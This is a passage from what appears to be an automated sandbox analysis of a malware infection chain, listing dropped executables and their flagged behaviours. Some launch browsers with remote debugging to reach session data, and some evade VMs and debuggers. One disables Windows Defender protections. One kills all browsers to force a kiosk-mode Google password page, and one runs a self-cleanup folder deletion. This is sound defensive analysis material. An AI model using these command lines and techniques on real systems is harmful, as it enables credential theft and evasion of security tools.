- - C:\Users\Admin\AppData\Local\Temp\10127820101\sqVWjvh.exe
    "C:\Users\Admin\AppData\Local\Temp\10127820101\sqVWjvh.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2632
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:2220
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe47f5cc40,0x7ffe47f5cc4c,0x7ffe47f5cc58
        5⤵
        
        PID:3472
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=288,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1728 /prefetch:2
        5⤵
        
        PID:5028
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1904,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2152 /prefetch:3
        5⤵
        
        PID:2372
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2292,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2256 /prefetch:8
        5⤵
        
        PID:4332
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3168,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3176 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4168
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3196,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3236 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3632
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4532,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4584 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4556,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4552 /prefetch:8
        5⤵
        
        PID:2260
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3616,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3856 /prefetch:8
        5⤵
        
        PID:3712
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4900,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4804 /prefetch:8
        5⤵
        
        PID:5528
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4848,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4820 /prefetch:8
        5⤵
        
        PID:5748
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5032,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5044 /prefetch:8
        5⤵
        
        PID:5844
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4604,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5028 /prefetch:8
        5⤵
        
        PID:5892
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4816,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5096 /prefetch:8
        5⤵
        
        PID:5932
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4832,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4844 /prefetch:8
        5⤵
        
        PID:5460
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5056,i,8007945358907539670,6817272517556145074,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5088 /prefetch:2
        5⤵
        Uses browser remote debugging
        
        PID:6100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:5976
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xdc,0x108,0x7ffe47f646f8,0x7ffe47f64708,0x7ffe47f64718
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5940
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,15995237194227425284,10780105890904617681,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
        5⤵
        
        PID:5364
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,15995237194227425284,10780105890904617681,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5372
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2168,15995237194227425284,10780105890904617681,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2948 /prefetch:8
        5⤵
        
        PID:2916
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2168,15995237194227425284,10780105890904617681,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5244
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2168,15995237194227425284,10780105890904617681,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3840
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2168,15995237194227425284,10780105890904617681,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4572 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5156
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2168,15995237194227425284,10780105890904617681,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4980 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\ngv37" & exit
      4⤵
      System Location Discovery: System Language Discovery
      PID:7816
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:7628
- - C:\Users\Admin\AppData\Local\Temp\10127840101\17df09620c.exe
    "C:\Users\Admin\AppData\Local\Temp\10127840101\17df09620c.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2568
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      Downloads MZ/PE file
      System Location Discovery: System Language Discovery
      PID:4452
- - C:\Users\Admin\AppData\Local\Temp\10127850101\8323f7acef.exe
    "C:\Users\Admin\AppData\Local\Temp\10127850101\8323f7acef.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:5488
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      Downloads MZ/PE file
      System Location Discovery: System Language Discovery
      PID:4480
- - C:\Users\Admin\AppData\Local\Temp\10127860101\787a5f5ef6.exe
    "C:\Users\Admin\AppData\Local\Temp\10127860101\787a5f5ef6.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:6008
- - C:\Users\Admin\AppData\Local\Temp\10127870101\3bd8e48c7d.exe
    "C:\Users\Admin\AppData\Local\Temp\10127870101\3bd8e48c7d.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:4236
  - - C:\Users\Admin\AppData\Local\Temp\10127870101\3bd8e48c7d.exe
      "C:\Users\Admin\AppData\Local\Temp\10127870101\3bd8e48c7d.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:6116
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 788
      4⤵
      Program crash
      PID:5312
- - C:\Users\Admin\AppData\Local\Temp\10127880101\ec6d990530.exe
    "C:\Users\Admin\AppData\Local\Temp\10127880101\ec6d990530.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Downloads MZ/PE file
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:7768
  - - C:\Users\Admin\AppData\Local\Temp\FR5MVRFWWK6EPYHEW9UM6Y.exe
      "C:\Users\Admin\AppData\Local\Temp\FR5MVRFWWK6EPYHEW9UM6Y.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:5484
- - C:\Users\Admin\AppData\Local\Temp\10127890101\49afafb5a2.exe
    "C:\Users\Admin\AppData\Local\Temp\10127890101\49afafb5a2.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:8164
- - C:\Users\Admin\AppData\Local\Temp\10127900101\ae85dec50f.exe
    "C:\Users\Admin\AppData\Local\Temp\10127900101\ae85dec50f.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:6460
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6424
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6384
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6580
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5516
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      PID:6412
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:6400
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1980 -parentBuildID 20240401114208 -prefsHandle 1908 -prefMapHandle 1900 -prefsLen 27356 -prefMapSize 244628 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c2b700e2-e7b6-4a17-a568-2f05c8ad2470} 6400 "\\.\pipe\gecko-crash-server-pipe.6400" gpu
        6⤵
        
        PID:6532
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2408 -parentBuildID 20240401114208 -prefsHandle 2400 -prefMapHandle 2396 -prefsLen 28276 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {683e45a2-ddef-429b-8827-5d97843d9b58} 6400 "\\.\pipe\gecko-crash-server-pipe.6400" socket
        6⤵
        
        PID:5400
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1408 -childID 1 -isForBrowser -prefsHandle 3108 -prefMapHandle 2672 -prefsLen 22684 -prefMapSize 244628 -jsInitHandle 1084 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0c9fc7d2-95cd-4dda-95e9-3446da612fd2} 6400 "\\.\pipe\gecko-crash-server-pipe.6400" tab
        6⤵
        
        PID:7988
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2756 -childID 2 -isForBrowser -prefsHandle 3936 -prefMapHandle 3932 -prefsLen 32766 -prefMapSize 244628 -jsInitHandle 1084 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee493899-3a7e-4fcc-be13-8b3a18f4a051} 6400 "\\.\pipe\gecko-crash-server-pipe.6400" tab
        6⤵
        
        PID:7612
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4656 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4620 -prefMapHandle 4608 -prefsLen 32766 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e2c7c48-45e4-455b-ad85-d05d410a0522} 6400 "\\.\pipe\gecko-crash-server-pipe.6400" utility
        6⤵
        Checks processor information in registry
        
        PID:2032
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5184 -childID 3 -isForBrowser -prefsHandle 5160 -prefMapHandle 5172 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1084 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {911ec1e8-f885-4008-a46c-2183b5b202b7} 6400 "\\.\pipe\gecko-crash-server-pipe.6400" tab
        6⤵
        
        PID:5856
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5188 -childID 4 -isForBrowser -prefsHandle 5344 -prefMapHandle 5320 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1084 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2310d52f-12bb-49df-9744-83d9d8239507} 6400 "\\.\pipe\gecko-crash-server-pipe.6400" tab
        6⤵
        
        PID:6780
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5420 -childID 5 -isForBrowser -prefsHandle 5160 -prefMapHandle 5352 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1084 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf8880d9-81a7-4809-b669-61f98ddc361a} 6400 "\\.\pipe\gecko-crash-server-pipe.6400" tab
        6⤵
        
        PID:6816
- - C:\Users\Admin\AppData\Local\Temp\10127910101\4135398cf6.exe
    "C:\Users\Admin\AppData\Local\Temp\10127910101\4135398cf6.exe"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender Real-time Protection settings
    - Modifies Windows Defender TamperProtection settings
    - Modifies Windows Defender notification settings
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Windows security modification
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
- - C:\Users\Admin\AppData\Local\Temp\10127920101\sqVWjvh.exe
    "C:\Users\Admin\AppData\Local\Temp\10127920101\sqVWjvh.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:4236
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      PID:8120
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffe57d1cc40,0x7ffe57d1cc4c,0x7ffe57d1cc58
        5⤵
        
        PID:6836
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2020,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2016 /prefetch:2
        5⤵
        
        PID:7216
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1876,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2068 /prefetch:3
        5⤵
        
        PID:2992
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2296,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2476 /prefetch:8
        5⤵
        
        PID:7388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3200 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6228
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3208,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3260 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:7212
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4528,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4584 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6588
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4668,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4664 /prefetch:8
        5⤵
        
        PID:5444
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4772,i,17142177504085539574,731248067142979612,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4692 /prefetch:8
        5⤵
        
        PID:6080
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
